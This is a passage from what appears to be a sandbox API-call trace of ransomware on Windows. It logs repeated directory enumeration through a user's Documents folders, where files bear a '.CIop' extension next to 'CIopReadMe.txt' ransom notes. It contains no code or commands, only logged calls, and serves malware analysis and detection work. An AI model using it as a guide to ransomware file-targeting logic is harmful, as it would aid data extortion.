lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0169.160] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0169.160] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0169.160] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dc38 [0169.160] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0169.160] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2=".") returned 1 [0169.160] lstrlenW (lpString=".CIop") returned 5 [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2=".") returned 1 [0169.160] lstrlenW (lpString=".CIop") returned 5 [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.160] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2=".") returned 1 [0169.160] lstrlenW (lpString=".CIop") returned 5 [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2=".") returned 1 [0169.160] lstrlenW (lpString=".CIop") returned 5 [0169.160] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.160] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2="..") returned 1 [0169.160] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2=".") returned 1 [0169.160] lstrlenW (lpString=".CIop") returned 5 [0169.161] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.161] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 1 [0169.161] FindClose (in: hFindFile=0x67dc38 | out: hFindFile=0x67dc38) returned 0 [0169.161] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0169.161] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0169.161] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0169.161] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0169.161] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.161] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.161] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0169.161] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0169.161] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0169.161] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0169.161] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0169.161] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0169.161] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0169.161] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0169.161] SetErrorMode (uMode=0x1) returned 0x1 [0169.161] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0169.161] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0169.162] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0169.162] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0169.162] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0169.162] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0169.162] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.162] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.162] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2="..") returned 1 [0169.162] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2=".") returned 1 [0169.162] lstrlenW (lpString=".CIop") returned 5 [0169.163] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2="..") returned 1 [0169.163] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2=".") returned 1 [0169.163] lstrlenW (lpString=".CIop") returned 5 [0169.163] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0169.163] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0169.163] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0169.163] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0169.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0169.163] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0169.163] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0169.163] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0169.163] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0169.163] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0169.163] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0169.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0169.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0169.163] SetErrorMode (uMode=0x1) returned 0x1 [0169.163] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0169.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0169.163] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0169.163] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0169.163] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67ddb8 [0169.164] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0169.164] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0169.164] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0169.164] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0169.164] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0169.164] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2="..") returned 1 [0169.164] lstrcmpW (lpString1="iclup5FUSoIoGUEpJ 8n.pps.CIop", lpString2=".") returned 1 [0169.164] lstrlenW (lpString=".CIop") returned 5 [0169.164] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2="..") returned 1 [0169.164] lstrcmpW (lpString1="k4LJ2WYGO9QfwUDPoT.doc.CIop", lpString2=".") returned 1 [0169.164] lstrlenW (lpString=".CIop") returned 5 [0169.164] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2="..") returned 1 [0169.164] lstrcmpW (lpString1="Qq3R.ots.CIop", lpString2=".") returned 1 [0169.164] lstrlenW (lpString=".CIop") returned 5 [0169.164] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0169.164] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0169.164] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0169.164] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld" [0169.164] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*" [0169.164] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0169.164] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0169.164] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="rMpN_ZRY5SqnHAJ8aGld" | out: lpString1="rMpN_ZRY5SqnHAJ8aGld") returned="rMpN_ZRY5SqnHAJ8aGld" [0169.164] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0169.164] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.164] FindNextFileW (in: hFindFile=0x67dd78, 